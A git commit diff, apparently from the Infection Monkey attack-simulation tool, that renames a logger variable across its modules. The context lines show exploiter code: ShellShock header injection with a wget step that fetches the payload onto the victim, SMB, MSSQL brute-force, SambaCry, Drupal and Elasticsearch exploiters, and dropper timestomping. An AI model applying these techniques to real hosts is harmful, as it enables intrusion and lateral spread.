Replace "LOG" naming convention with "logger" naming convention.
This commit is contained in:
parent
51b5fc601a
commit
d2e5828c3b
|
@ -5,7 +5,7 @@ import socket
|
|||
import struct
|
||||
from abc import ABCMeta, abstractmethod
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class NetworkRange(object, metaclass=ABCMeta):
|
||||
|
@ -174,7 +174,7 @@ class SingleIpRange(NetworkRange):
|
|||
ip = socket.gethostbyname(string_)
|
||||
domain_name = string_
|
||||
except socket.error:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Your specified host: {} is not found as a domain name and"
|
||||
" it's not an IP address".format(string_)
|
||||
)
|
||||
|
|
|
@ -25,7 +25,7 @@ from infection_monkey.transport.tcp import TcpProxy
|
|||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
DOWNLOAD_CHUNK = 1024
|
||||
|
||||
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
|
||||
|
@ -42,7 +42,7 @@ class ControlClient(object):
|
|||
@staticmethod
|
||||
def wakeup(parent=None):
|
||||
if parent:
|
||||
LOG.debug("parent: %s" % (parent,))
|
||||
logger.debug("parent: %s" % (parent,))
|
||||
|
||||
hostname = gethostname()
|
||||
if not parent:
|
||||
|
@ -72,12 +72,12 @@ class ControlClient(object):
|
|||
|
||||
@staticmethod
|
||||
def find_server(default_tunnel=None):
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Trying to wake up with Monkey Island servers list: %r"
|
||||
% WormConfiguration.command_servers
|
||||
)
|
||||
if default_tunnel:
|
||||
LOG.debug("default_tunnel: %s" % (default_tunnel,))
|
||||
logger.debug("default_tunnel: %s" % (default_tunnel,))
|
||||
|
||||
current_server = ""
|
||||
|
||||
|
@ -88,7 +88,7 @@ class ControlClient(object):
|
|||
debug_message = "Trying to connect to server: %s" % server
|
||||
if ControlClient.proxies:
|
||||
debug_message += " through proxies: %s" % ControlClient.proxies
|
||||
LOG.debug(debug_message)
|
||||
logger.debug(debug_message)
|
||||
requests.get( # noqa: DUO123
|
||||
f"https://{server}/api?action=is-up",
|
||||
verify=False,
|
||||
|
@ -100,7 +100,7 @@ class ControlClient(object):
|
|||
|
||||
except ConnectionError as exc:
|
||||
current_server = ""
|
||||
LOG.warning("Error connecting to control server %s: %s", server, exc)
|
||||
logger.warning("Error connecting to control server %s: %s", server, exc)
|
||||
|
||||
if current_server:
|
||||
return True
|
||||
|
@ -108,15 +108,15 @@ class ControlClient(object):
|
|||
if ControlClient.proxies:
|
||||
return False
|
||||
else:
|
||||
LOG.info("Starting tunnel lookup...")
|
||||
logger.info("Starting tunnel lookup...")
|
||||
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
||||
if proxy_find:
|
||||
proxy_address, proxy_port = proxy_find
|
||||
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
||||
logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
||||
ControlClient.proxies["https"] = "https://%s:%s" % (proxy_address, proxy_port)
|
||||
return ControlClient.find_server()
|
||||
else:
|
||||
LOG.info("No tunnel found")
|
||||
logger.info("No tunnel found")
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
|
@ -136,7 +136,7 @@ class ControlClient(object):
|
|||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
return {}
|
||||
|
@ -144,7 +144,7 @@ class ControlClient(object):
|
|||
@staticmethod
|
||||
def send_telemetry(telem_category, json_data: str):
|
||||
if not WormConfiguration.current_server:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Trying to send %s telemetry before current server is established, aborting."
|
||||
% telem_category
|
||||
)
|
||||
|
@ -160,7 +160,7 @@ class ControlClient(object):
|
|||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
|
@ -179,7 +179,7 @@ class ControlClient(object):
|
|||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
|
@ -196,7 +196,7 @@ class ControlClient(object):
|
|||
)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
return
|
||||
|
@ -206,10 +206,10 @@ class ControlClient(object):
|
|||
formatted_config = pformat(
|
||||
WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())
|
||||
)
|
||||
LOG.info(f"New configuration was loaded from server:\n{formatted_config}")
|
||||
logger.info(f"New configuration was loaded from server:\n{formatted_config}")
|
||||
except Exception as exc:
|
||||
# we don't continue with default conf here because it might be dangerous
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Error parsing JSON reply from control server %s (%s): %s",
|
||||
WormConfiguration.current_server,
|
||||
reply._content,
|
||||
|
@ -234,7 +234,7 @@ class ControlClient(object):
|
|||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
return {}
|
||||
|
@ -303,7 +303,7 @@ class ControlClient(object):
|
|||
return dest_file
|
||||
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
|
@ -335,7 +335,7 @@ class ControlClient(object):
|
|||
return None, None
|
||||
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
|
|
|
@ -33,7 +33,7 @@ except NameError:
|
|||
WindowsError = IOError
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MOVEFILE_DELAY_UNTIL_REBOOT = 4
|
||||
|
||||
|
@ -56,11 +56,11 @@ class MonkeyDrops(object):
|
|||
}
|
||||
|
||||
def initialize(self):
|
||||
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||
logger.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||
|
||||
def start(self):
|
||||
if self._config["destination_path"] is None:
|
||||
LOG.error("No destination path specified")
|
||||
logger.error("No destination path specified")
|
||||
return False
|
||||
|
||||
# we copy/move only in case path is different
|
||||
|
@ -77,7 +77,7 @@ class MonkeyDrops(object):
|
|||
try:
|
||||
shutil.move(self._config["source_path"], self._config["destination_path"])
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Moved source file '%s' into '%s'",
|
||||
self._config["source_path"],
|
||||
self._config["destination_path"],
|
||||
|
@ -85,7 +85,7 @@ class MonkeyDrops(object):
|
|||
|
||||
file_moved = True
|
||||
except (WindowsError, IOError, OSError) as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error moving source file '%s' into '%s': %s",
|
||||
self._config["source_path"],
|
||||
self._config["destination_path"],
|
||||
|
@ -97,13 +97,13 @@ class MonkeyDrops(object):
|
|||
try:
|
||||
shutil.copy(self._config["source_path"], self._config["destination_path"])
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Copied source file '%s' into '%s'",
|
||||
self._config["source_path"],
|
||||
self._config["destination_path"],
|
||||
)
|
||||
except (WindowsError, IOError, OSError) as exc:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Error copying source file '%s' into '%s': %s",
|
||||
self._config["source_path"],
|
||||
self._config["destination_path"],
|
||||
|
@ -122,7 +122,7 @@ class MonkeyDrops(object):
|
|||
try:
|
||||
ref_stat = os.stat(dropper_date_reference_path)
|
||||
except OSError:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Cannot set reference date using '%s', file not found",
|
||||
dropper_date_reference_path,
|
||||
)
|
||||
|
@ -132,7 +132,7 @@ class MonkeyDrops(object):
|
|||
self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime)
|
||||
)
|
||||
except OSError:
|
||||
LOG.warning("Cannot set reference date to destination file")
|
||||
logger.warning("Cannot set reference date to destination file")
|
||||
|
||||
monkey_options = build_monkey_commandline_explicitly(
|
||||
parent=self.opts.parent,
|
||||
|
@ -173,7 +173,7 @@ class MonkeyDrops(object):
|
|||
creationflags=DETACHED_PROCESS,
|
||||
)
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey process (PID=%d) with command line: %s",
|
||||
monkey_process.pid,
|
||||
" ".join(monkey_commandline),
|
||||
|
@ -181,10 +181,10 @@ class MonkeyDrops(object):
|
|||
|
||||
time.sleep(3)
|
||||
if monkey_process.poll() is not None:
|
||||
LOG.warning("Seems like monkey died too soon")
|
||||
logger.warning("Seems like monkey died too soon")
|
||||
|
||||
def cleanup(self):
|
||||
LOG.info("Cleaning up the dropper")
|
||||
logger.info("Cleaning up the dropper")
|
||||
|
||||
try:
|
||||
if (
|
||||
|
@ -197,7 +197,7 @@ class MonkeyDrops(object):
|
|||
try:
|
||||
os.remove(self._config["source_path"])
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error removing source file '%s': %s", self._config["source_path"], exc
|
||||
)
|
||||
|
||||
|
@ -206,18 +206,19 @@ class MonkeyDrops(object):
|
|||
if 0 == ctypes.windll.kernel32.MoveFileExA(
|
||||
dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT
|
||||
):
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error marking source file '%s' for deletion on next boot (error "
|
||||
"%d)",
|
||||
self._config["source_path"],
|
||||
ctypes.windll.kernel32.GetLastError(),
|
||||
)
|
||||
else:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Dropper source file '%s' is marked for deletion on next boot",
|
||||
self._config["source_path"],
|
||||
)
|
||||
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
|
||||
LOG.info("Dropper cleanup complete")
|
||||
|
||||
logger.info("Dropper cleanup complete")
|
||||
except AttributeError:
|
||||
LOG.error("Invalid configuration options. Failing")
|
||||
logger.error("Invalid configuration options. Failing")
|
||||
|
|
|
@ -15,7 +15,7 @@ from common.network.network_utils import remove_port
|
|||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import ID_STRING
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DrupalExploiter(WebRCE):
|
||||
|
@ -53,7 +53,7 @@ class DrupalExploiter(WebRCE):
|
|||
try:
|
||||
node_ids = find_exploitbale_article_ids(url)
|
||||
if node_ids is None:
|
||||
LOG.info("Could not find a Drupal node to attack")
|
||||
logger.info("Could not find a Drupal node to attack")
|
||||
continue
|
||||
for node_id in node_ids:
|
||||
node_url = urljoin(url, str(node_id))
|
||||
|
@ -65,9 +65,9 @@ class DrupalExploiter(WebRCE):
|
|||
if stop_checking:
|
||||
break
|
||||
except Exception as e: # We still don't know which errors to expect
|
||||
LOG.error(f"url {url} failed in exploitability check: {e}")
|
||||
logger.error(f"url {url} failed in exploitability check: {e}")
|
||||
if not self.vulnerable_urls:
|
||||
LOG.info("No vulnerable urls found")
|
||||
logger.info("No vulnerable urls found")
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
"""
|
||||
|
@ -89,7 +89,7 @@ class DrupalExploiter(WebRCE):
|
|||
)
|
||||
|
||||
if is_response_cached(response):
|
||||
LOG.info(f"Checking if node {url} is vuln returned cache HIT, ignoring")
|
||||
logger.info(f"Checking if node {url} is vuln returned cache HIT, ignoring")
|
||||
return False
|
||||
|
||||
return "INVALID_VALUE does not correspond to an entity on this site" in response.text
|
||||
|
@ -109,10 +109,10 @@ class DrupalExploiter(WebRCE):
|
|||
)
|
||||
|
||||
if is_response_cached(r):
|
||||
LOG.info(f"Exploiting {url} returned cache HIT, may have failed")
|
||||
logger.info(f"Exploiting {url} returned cache HIT, may have failed")
|
||||
|
||||
if ID_STRING not in r.text:
|
||||
LOG.warning("Command execution _may_ have failed")
|
||||
logger.warning("Command execution _may_ have failed")
|
||||
|
||||
result = r.text.split(ID_STRING)[-1]
|
||||
return result
|
||||
|
@ -137,7 +137,7 @@ class DrupalExploiter(WebRCE):
|
|||
num_available_urls = len(self.vulnerable_urls)
|
||||
result = num_available_urls >= num_urls_needed_for_full_exploit
|
||||
if not result:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a "
|
||||
f"Drupal server "
|
||||
f"but only {num_available_urls} found"
|
||||
|
@ -160,7 +160,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
|
|||
)
|
||||
if response.status_code == 200:
|
||||
if is_response_cached(response):
|
||||
LOG.info(f"Found a cached article at: {node_url}, skipping")
|
||||
logger.info(f"Found a cached article at: {node_url}, skipping")
|
||||
else:
|
||||
articles.add(lower)
|
||||
lower += 1
|
||||
|
|
|
@ -25,7 +25,7 @@ from infection_monkey.model import (
|
|||
from infection_monkey.network.elasticfinger import ES_PORT
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ElasticGroovyExploiter(WebRCE):
|
||||
|
@ -69,7 +69,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
try:
|
||||
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
|
||||
except requests.ReadTimeout:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Elastic couldn't upload monkey, because server didn't respond to upload "
|
||||
"request."
|
||||
)
|
||||
|
@ -110,5 +110,5 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
LOG.error("Host's exploitability check failed due to: %s" % e)
|
||||
logger.error("Host's exploitability check failed due to: %s" % e)
|
||||
return False
|
||||
|
|
|
@ -24,7 +24,7 @@ from infection_monkey.model import (
|
|||
)
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HadoopExploiter(WebRCE):
|
||||
|
|
|
@ -14,7 +14,7 @@ from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
|||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MSSQLExploiter(HostExploiter):
|
||||
|
@ -195,7 +195,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
conn = pymssql.connect(
|
||||
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
|
||||
)
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Successfully connected to host: {0}, using user: {1}, password ("
|
||||
"SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password))
|
||||
)
|
||||
|
@ -208,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
# Combo didn't work, hopping to the next one
|
||||
pass
|
||||
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"No user/password combo was able to connect to host: {0}:{1}, "
|
||||
"aborting brute force".format(host, port)
|
||||
)
|
||||
|
|
|
@ -44,7 +44,7 @@ from infection_monkey.pyinstaller_utils import get_binary_file_path
|
|||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SambaCryExploiter(HostExploiter):
|
||||
|
@ -79,7 +79,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Writable shares and their credentials on host %s: %s"
|
||||
% (self.host.ip_addr, str(writable_shares_creds_dict))
|
||||
)
|
||||
|
@ -121,14 +121,14 @@ class SambaCryExploiter(HostExploiter):
|
|||
self.exploit_info["shares"][share]["fullpath"] = fullpath
|
||||
|
||||
if len(successfully_triggered_shares) > 0:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Shares triggered successfully on host %s: %s"
|
||||
% (self.host.ip_addr, str(successfully_triggered_shares))
|
||||
)
|
||||
self.add_vuln_port(self.SAMBA_PORT)
|
||||
return True
|
||||
else:
|
||||
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||
logger.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def try_exploit_share(self, share, creds):
|
||||
|
@ -142,7 +142,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
self.upload_module(smb_client, share)
|
||||
self.trigger_module(smb_client, share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Exception trying to exploit host: %s, share: %s, with creds: %s."
|
||||
% (self.host.ip_addr, share, str(creds))
|
||||
)
|
||||
|
@ -205,7 +205,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
writable_shares_creds_dict = {}
|
||||
credentials_list = self.get_credentials_list()
|
||||
|
||||
LOG.debug("SambaCry credential list: %s" % str(credentials_list))
|
||||
logger.debug("SambaCry credential list: %s" % str(credentials_list))
|
||||
|
||||
for credentials in credentials_list:
|
||||
try:
|
||||
|
@ -246,13 +246,13 @@ class SambaCryExploiter(HostExploiter):
|
|||
:return: True if victim is vulnerable, False otherwise
|
||||
"""
|
||||
if SMB_SERVICE not in self.host.services:
|
||||
LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
||||
logger.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
pattern = re.compile(r"\d*\.\d*\.\d*")
|
||||
smb_server_name = self.host.services[SMB_SERVICE].get("name")
|
||||
if not smb_server_name:
|
||||
LOG.info("Host: %s refused SMB connection" % self.host.ip_addr)
|
||||
logger.info("Host: %s refused SMB connection" % self.host.ip_addr)
|
||||
return False
|
||||
samba_version = "unknown"
|
||||
pattern_result = pattern.search(smb_server_name)
|
||||
|
@ -286,7 +286,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
# If pattern doesn't match we can't tell what version it is. Better try
|
||||
is_vulnerable = True
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
|
||||
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
|
||||
)
|
||||
|
@ -408,7 +408,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
:param share: share name
|
||||
:return: True if share is writable, False otherwise.
|
||||
"""
|
||||
LOG.debug("Checking %s for write access" % share)
|
||||
logger.debug("Checking %s for write access" % share)
|
||||
try:
|
||||
tree_id = smb_client.connectTree(share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
|
@ -510,7 +510,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
# paths to NT style
|
||||
# to make things easier for the caller. Not this time ;)
|
||||
treeId = smb_client.connectTree("IPC$")
|
||||
LOG.debug("Triggering path: %s" % pathName)
|
||||
logger.debug("Triggering path: %s" % pathName)
|
||||
|
||||
if smb_client.getDialect() == SMB_DIALECT:
|
||||
_, flags2 = smb_client.getSMBServer().get_flags()
|
||||
|
|
|
@ -16,7 +16,7 @@ from infection_monkey.model import DROPPER_ARG
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
TIMEOUT = 2
|
||||
TEST_COMMAND = "/bin/uname -a"
|
||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||
|
@ -55,7 +55,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
http_ports = [port[0] for port in valid_ports if not port[1]]
|
||||
https_ports = [port[0] for port in valid_ports if port[1]]
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Scanning %s, ports [%s] for vulnerable CGI pages"
|
||||
% (self.host, ",".join([str(port[0]) for port in valid_ports]))
|
||||
)
|
||||
|
@ -77,7 +77,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
|
||||
# now try URLs until we install something on victim
|
||||
for _, url, header, exploit in exploitable_urls:
|
||||
LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
|
||||
logger.info("Trying to attack host %s with %s URL" % (self.host, url))
|
||||
# same attack script as sshexec
|
||||
# for any failure, quit and don't try other URLs
|
||||
if not self.host.os.get("type"):
|
||||
|
@ -87,10 +87,12 @@ class ShellShockExploiter(HostExploiter):
|
|||
if "linux" in uname_os:
|
||||
self.host.os["type"] = "linux"
|
||||
else:
|
||||
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
||||
logger.info("SSH Skipping unknown os: %s", uname_os)
|
||||
return False
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
|
||||
logger.debug(
|
||||
"Error running uname os command on victim %r: (%s)", self.host, exc
|
||||
)
|
||||
return False
|
||||
if not self.host.os.get("machine"):
|
||||
try:
|
||||
|
@ -99,7 +101,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
if "" != uname_machine:
|
||||
self.host.os["machine"] = uname_machine.lower().strip()
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error running uname machine command on victim %r: (%s)", self.host, exc
|
||||
)
|
||||
return False
|
||||
|
@ -109,7 +111,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
if self.skip_exist and (
|
||||
self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)
|
||||
):
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host %s was already infected under the current configuration, "
|
||||
"done" % self.host
|
||||
)
|
||||
|
@ -117,17 +119,17 @@ class ShellShockExploiter(HostExploiter):
|
|||
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
if not self._create_lock_file(exploit, url, header):
|
||||
LOG.info("Another monkey is running shellshock exploit")
|
||||
logger.info("Another monkey is running shellshock exploit")
|
||||
return True
|
||||
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
|
||||
logger.debug("Exploiter ShellShock failed, http transfer creation failed.")
|
||||
return False
|
||||
|
||||
download_command = "/usr/bin/wget %s -O %s;" % (http_path, dropper_target_path_linux)
|
||||
|
@ -148,7 +150,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
url, header, exploit, dropper_target_path_linux
|
||||
)
|
||||
):
|
||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
logger.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
continue
|
||||
|
||||
# turn the monkey into an executable
|
||||
|
@ -169,7 +171,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
run_path = exploit + cmdline
|
||||
self.attack_page(url, header, run_path)
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux,
|
||||
self.host,
|
||||
|
@ -181,7 +183,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
url, header, exploit, self._config.monkey_log_path_linux
|
||||
)
|
||||
):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
logger.info("Log file does not exist, monkey might not have run")
|
||||
continue
|
||||
self.add_executed_cmd(cmdline)
|
||||
return True
|
||||
|
@ -198,7 +200,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
run_path = exploit + cmdline
|
||||
resp = cls.attack_page(url, header, run_path)
|
||||
if resp:
|
||||
LOG.info("File %s exists on remote host" % file_path)
|
||||
logger.info("File %s exists on remote host" % file_path)
|
||||
return resp
|
||||
|
||||
def attempt_exploit(self, url, attacks=None):
|
||||
|
@ -208,17 +210,17 @@ class ShellShockExploiter(HostExploiter):
|
|||
if not attacks:
|
||||
attacks = self._attacks
|
||||
|
||||
LOG.debug("Attack Flag is: %s" % self.success_flag)
|
||||
logger.debug("Attack Flag is: %s" % self.success_flag)
|
||||
|
||||
LOG.debug("Trying exploit for %s" % url)
|
||||
logger.debug("Trying exploit for %s" % url)
|
||||
for header, exploit in list(attacks.items()):
|
||||
attack = exploit + " echo " + self.success_flag + "; " + TEST_COMMAND
|
||||
result = self.attack_page(url, header, attack)
|
||||
if self.success_flag in result:
|
||||
LOG.info("URL %s looks vulnerable" % url)
|
||||
logger.info("URL %s looks vulnerable" % url)
|
||||
return True, url, header, exploit
|
||||
else:
|
||||
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
|
||||
logger.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
|
||||
return (False,)
|
||||
|
||||
def _create_lock_file(self, exploit, url, header):
|
||||
|
@ -236,15 +238,15 @@ class ShellShockExploiter(HostExploiter):
|
|||
def attack_page(url, header, attack):
|
||||
result = ""
|
||||
try:
|
||||
LOG.debug("Header is: %s" % header)
|
||||
LOG.debug("Attack is: %s" % attack)
|
||||
logger.debug("Header is: %s" % header)
|
||||
logger.debug("Attack is: %s" % attack)
|
||||
r = requests.get( # noqa: DUO123
|
||||
url, headers={header: attack}, verify=False, timeout=TIMEOUT
|
||||
)
|
||||
result = r.content.decode()
|
||||
return result
|
||||
except requests.exceptions.RequestException as exc:
|
||||
LOG.debug("Failed to run, exception %s" % exc)
|
||||
logger.debug("Failed to run, exception %s" % exc)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
|
@ -267,7 +269,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
timeout = True
|
||||
break
|
||||
if timeout:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Some connections timed out while sending request to potentially vulnerable "
|
||||
"urls."
|
||||
)
|
||||
|
|
|
@ -13,7 +13,7 @@ from infection_monkey.network.tools import check_tcp_port
|
|||
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class SmbExploiter(HostExploiter):
|
||||
|
@ -50,7 +50,7 @@ class SmbExploiter(HostExploiter):
|
|||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
@ -71,7 +71,7 @@ class SmbExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
if remote_full_path is not None:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
|
||||
"%s : (SHA-512) %s)",
|
||||
self.host,
|
||||
|
@ -95,7 +95,7 @@ class SmbExploiter(HostExploiter):
|
|||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Exception when trying to copy file using SMB to %r with user:"
|
||||
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
||||
"SHA-512): %s: (%s)",
|
||||
|
@ -109,7 +109,7 @@ class SmbExploiter(HostExploiter):
|
|||
continue
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter SmbExec is giving up...")
|
||||
logger.debug("Exploiter SmbExec is giving up...")
|
||||
return False
|
||||
|
||||
self.set_vulnerable_port()
|
||||
|
@ -145,7 +145,7 @@ class SmbExploiter(HostExploiter):
|
|||
try:
|
||||
scmr_rpc.connect()
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Can't connect to SCM on exploited machine %r port %s : %s",
|
||||
self.host,
|
||||
port,
|
||||
|
@ -183,7 +183,7 @@ class SmbExploiter(HostExploiter):
|
|||
scmr.hRDeleteService(scmr_rpc, service)
|
||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path,
|
||||
self.host,
|
||||
|
|
|
@ -16,7 +16,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
